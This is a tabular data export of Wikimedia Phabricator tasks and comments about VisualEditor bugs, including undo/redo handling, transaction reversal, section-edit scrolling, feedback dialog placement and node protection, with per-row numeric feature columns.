https://gerrit.wikimedia.org/r/81876",,,1378325644,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,0.9523809523809523,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

GERRIT_URL"
235856,VisualEditor: Can't return to save dialog after reviewing null edit,*** Bug 53314 has been marked as a duplicate of this bug. ***,,,1377426954,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53314 has been marked as a duplicate of this bug. ***
55225,"VisualEditor: When reversing a transaction, create a new transaction rather than reusing the old one","Rather than passing around boolean parameters called 'reversed' all over the place, we should use each transaction only once, and implement a function that creates a new transaction that's the reverse of an existing transaction.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377192420,1394478857.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-chjb2m7r6pmqmr457wgg,task_description,resolved,True,c1,3,False,False,False,7,,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,4.593220338983051,0.7288135593220338,"Rather than passing around boolean parameters called 'reversed' all over the place, we should use each transaction only once, and implement a function that creates a new transaction that's the reverse of an existing transaction.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255115,"VisualEditor: When reversing a transaction, create a new transaction rather than reusing the old one",This was done ages ago in I3050c5430be4a12510f22e20853560b92acebb67,,,1394478857,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-chjb2m7r6pmqmr457wgg,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.714285714285714,1.0,This was done ages ago in I3050c5430be4a12510f22e20853560b92acebb67
255109,"VisualEditor: When reversing a transaction, create a new transaction rather than reusing the old one","But note that the code currently uses the fact that the commit and rollback transaction are the same in order to update the 'applied' field.  So the rollback transaction should still contain a pointer to the original transaction, and when it is committed both should be marked with 'applied=false' (which indicates that we can skip over these entries in the completeHistory).",,,1377652795,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-chjb2m7r6pmqmr457wgg,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,1.0,0.0,5.0,12.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,15.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,3.0,5.0,4.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.315068493150685,0.7123287671232876,"But note that the code currently uses the fact that the commit and rollback transaction are the same in order to update the 'applied' field.  So the rollback transaction should still contain a pointer to the original transaction, and when it is committed both should be marked with 'applied=false' (which indicates that we can skip over these entries in the completeHistory)."
55224,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,"dm.Surface.undo() and .redo() just call documentModel.rollback() / .commit() directly, without going through all the other stuff in .change() . Presumably this other stuff is useful, so we should figure out if bypassing it causes bugs.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377191640,1382735392.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-va4nmthl5rer6qeyil6y,task_description,resolved,True,c1,3,False,False,False,7,,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.136363636363637,0.6818181818181818,"dm.Surface.undo() and .redo() just call documentModel.rollback() / .commit() directly, without going through all the other stuff in .change() . Presumably this other stuff is useful, so we should figure out if bypassing it causes bugs.

--------------------------
**Version**: unspecified
**Severity**: normal"
255067,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,"Change 88728 merged by jenkins-bot:
Implement ve.dm.Surface.prototype.undo() and redo() in terms of change()

https://gerrit.wikimedia.org/r/88728",,,1382735134,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-va4nmthl5rer6qeyil6y,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.36,0.84,"Change 88728 merged by jenkins-bot:
Implement ve.dm.Surface.prototype.undo() and redo() in terms of change()

GERRIT_URL"
255063,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,"Change 88728 had a related patch set uploaded by Catrope:
Implement ve.dm.Surface.prototype.undo() and redo() in terms of change()

https://gerrit.wikimedia.org/r/88728",,,1381326083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-va4nmthl5rer6qeyil6y,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8571428571428571,"Change 88728 had a related patch set uploaded by Catrope:
Implement ve.dm.Surface.prototype.undo() and redo() in terms of change()

GERRIT_URL"
255059,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,In theory Surface.change() should also have a corresponding Surface.unchange() method (or a 'reversed' parameter).,,,1377191752,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-va4nmthl5rer6qeyil6y,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,0.7391304347826086,In theory Surface.change() should also have a corresponding Surface.unchange() method (or a 'reversed' parameter).
55217,"VisualEditor: When editing a section, don't wait for loading to be complete before scrolling to the section","When loading VisualEditor from a section edit link, the editor opens at that position on the page. However, as the TOC is not displayed in edit mode (bug 49224) the content is effectively rendered higher up so a later section in the article moves into the view (from a users point of view this is perceived as scrolling to a random point). 

The view point does move to the new location of the desired section as the final step of loading, but only if the user has not scrolled at any point while waiting. 

If they have attempted to find the section themselves while VE is loading then either (a) the view point subsequently doesn't move when loading completes, or (b) moves by the amount it would have done if the user had not scrolled (meaning it now points at a different point to desired). I have not worked out how to specifically induce one behaviour or indeed what causes either.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T51224}
{T52206}
{T54577}",Medium,50.0,1377187440,1425509611.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-TASK-evkujyihqmirmqqeozmk,task_description,duplicate,True,c1,3,False,False,False,7,,0.3333333333333333,0.0,0.0,1.0,2.0,2.6666666666666665,0.0,0.0,0.0,1.0,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.333333333333333,9.666666666666666,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,1.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,7.0,1.3333333333333333,6.0,2.6666666666666665,1.3333333333333333,8.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,2.0,9.666666666666666,2.0,0.0,0.0,0.0,2.0,0.0,1.6666666666666667,1.6666666666666667,0.3333333333333333,2.0,0.6666666666666666,0.0,0.3333333333333333,3.817968653585092,0.6921510551647537,"When loading VisualEditor from a section edit link, the editor opens at that position on the page. However, as the TOC is not displayed in edit mode (bug 49224) the content is effectively rendered higher up so a later section in the article moves into the view (from a users point of view this is perceived as scrolling to a random point). 

The view point does move to the new location of the desired section as the final step of loading, but only if the user has not scrolled at any point while waiting. 

If they have attempted to find the section themselves while VE is loading then either (a) the view point subsequently doesn't move when loading completes, or (b) moves by the amount it would have done if the user had not scrolled (meaning it now points at a different point to desired). I have not worked out how to specifically induce one behaviour or indeed what causes either.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T51224}
{T52206}
{T54577}"
410104,"VisualEditor: When editing a section, don't wait for loading to be complete before scrolling to the section","Should this be closed in favor of T52206?
Also see T87556.",,,1423683149,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-evkujyihqmirmqqeozmk,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Should this be closed in favor of T52206?
Also see T87556."
55173,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"I clicked to edit a section of a long article, and when I tried to file a bug, it looked like the screen just went dark - I couldn't immediately see a dialog box. It turned out to be because the feedback dialog was overlayed above the section I was editing, which was way, way down the page, and the browser didn't scroll to that part of the page when I pressed the button.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1377115140,1590842330.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-5cuwqt62enm5hymwly75,task_description,declined,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.5,1.5,2.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,0.0,5.0,7.0,0.0,1.5,0.0,0.0,0.0,7.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,7.5,3.0,6.0,2.0,1.5,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,2.5,2.0,0.0,1.0,0.0,0.0,0.0,3.6731372549019605,0.712156862745098,"I clicked to edit a section of a long article, and when I tried to file a bug, it looked like the screen just went dark - I couldn't immediately see a dialog box. It turned out to be because the feedback dialog was overlayed above the section I was editing, which was way, way down the page, and the browser didn't scroll to that part of the page when I pressed the button.

--------------------------
**Version**: unspecified
**Severity**: minor"
1514597,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"Unfortunately closing this Phabricator task as no further information has been provided.

@Greenrd: After you have provided the information asked for and if this still happens, please set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!",,,1590842330,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,360,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,17.0,2.0,2.0,12.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,2.0,12.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.254237288135593,0.847457627118644,"Unfortunately closing this Phabricator task as no further information has been provided.
SCREEN_NAME: After you have provided the information asked for and if this still happens, please set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!"
421356,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"Ahm, I'm sorry (obviously requires VE to be enabled to see those section heading links).
Tried on http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Arrr0.5320366523148922&veaction=edit&vesection=2 but still the ""Submit feedback"" dialog is centered. 
Still cannot reproduce with Chrome 41 or Firefox 36.",,,1425554338,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,9.0,11.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.702127659574468,0.8936170212765957,"Ahm, I'm sorry (obviously requires VE to be enabled to see those section heading links).
Tried on URL but still the ""Submit feedback"" dialog is centered. 
Still cannot reproduce with Chrome 41 or Firefox 36."
421354,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"@Greenrd: Sorry that this task has not received feedback earlier, and thank you for reporting this!

> I clicked to edit a section of a long article

Where did you click exactly? Link to that long article is also very welcome. :)

> and when I tried to file a bug, it looked like the screen just went dark - I couldn't immediately see a dialog box. It turned out to be because the feedback dialog was overlayed above the section I was editing

Does this refer to the ""Leave Feedback / Submit Feedback"" dialog available from the ""Help"" (question mark) button in VE's toolbar?

I cannot reproduce in Firefox 36 and Chrome 41 trying with https://en.wikipedia.org/wiki/Hamburg?veaction=edit - is this still a problem?
Setting task status to ""Stalled"" for the time being...",,,1425554071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.5,0.0,1.5,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,3.5,2.5,13.0,1.0,1.5,6.5,0.0,0.5,0.5,0.0,3.0,0.0,2.0,0.0,2.0,8.0,5.0,2.5,5.5,0.0,2.0,0.0,0.5,1.0,0.0,2.5,0.5,0.0,0.0,3.816400580551524,0.8383526850507983,"SCREEN_NAME: Sorry that this task has not received feedback earlier, and thank you for reporting this!

QUOTE

Where did you click exactly? Link to that long article is also very welcome. :)

QUOTE

Does this refer to the ""Leave Feedback / Submit Feedback"" dialog available from the ""Help"" (question mark) button in VE's toolbar?

I cannot reproduce in Firefox 36 and Chrome 41 trying with URL - is this still a problem?
Setting task status to ""Stalled"" for the time being..."
252539,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"(In reply to comment #1)
> Which browser is this about?

Chromium Version 27.0.1453.93 Built from source for Fedora release 18",,,1377160124,,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,14.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,1.0,"(In reply to comment #1)
QUOTE

Chromium Version 27.0.1453.93 Built from source for Fedora release 18"
252531,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"Thanks for taking the time to report this!

Which browser is this about?",,,1377119887,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.8125,0.9375,"Thanks for taking the time to report this!

Which browser is this about?"
55149,VisualEditor: Annotating an inline alien breaks node protection,"1. Create a document with:
   Foo <cite>Alien</cite> Bar
2. Select all and bold

Results
3. 'Alien' is bolded, despite being protected (questionable)
4. The shield has disappeared.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377085200,1579117639.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-tyb65vkuz46fcurmj72h,task_description,resolved,True,c1,3,True,False,False,7,,2.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,3.5538461538461537,0.6923076923076923,"1. Create a document with:
   Foo <cite>Alien</cite> Bar
2. Select all and bold

Results
3. 'Alien' is bolded, despite being protected (questionable)
4. The shield has disappeared.

--------------------------
**Version**: unspecified
**Severity**: normal"
1425997,VisualEditor: Annotating an inline alien breaks node protection,"This seems to behave correctly these days.

3. It is still bolded, but I think that's usually the right behavior. (We could change this by using `blacklistedAnnotationTypes`, which we use now mostly to disallow applying link annotations over nodes that already contain links.)
4. This doesn't happen, the ""shield"" is still present and catches clicks. (I believe that's the same thing that we call ""highlights"" now, the striped overlay thing?) {F31513637}",,,1579117639,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tyb65vkuz46fcurmj72h,task_subcomment,,True,c1,3,True,,,341,,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,0.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,12.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,12.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,1.0,0.0,4.0,2.0,8.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,4.0,2.0,1.0,4.0,0.0,6.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,2.0,3.731958762886598,0.711340206185567,"This seems to behave correctly these days.

3. It is still bolded, but I think that's usually the right behavior. (We could change this by using CODE, which we use now mostly to disallow applying link annotations over nodes that already contain links.)
4. This doesn't happen, the ""shield"" is still present and catches clicks. (I believe that's the same thing that we call ""highlights"" now, the striped overlay thing?) {F31513637}"
55148,VisualEditor: Move MW-specific code out of the VE-core model registry,"Both ve.dm.ModelRegistry.js and its test file have references to  /^mw:/ . Any code relating to mw should be in modules/ve-mw/

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377084540,1393874721.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-hia733wv6lu2vvjmm2xv,task_description,resolved,True,c1,3,True,False,False,7,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.27906976744186,0.7674418604651163,"Both ve.dm.ModelRegistry.js and its test file have references to  /^mw:/ . Any code relating to mw should be in modules/ve-mw/

--------------------------
**Version**: unspecified
**Severity**: enhancement"
251162,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116487 merged by jenkins-bot:
Update VE core submodule to master (74be717)

https://gerrit.wikimedia.org/r/116487",,,1393875313,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,1.0,"Change 116487 merged by jenkins-bot:
Update VE core submodule to master (74be717)

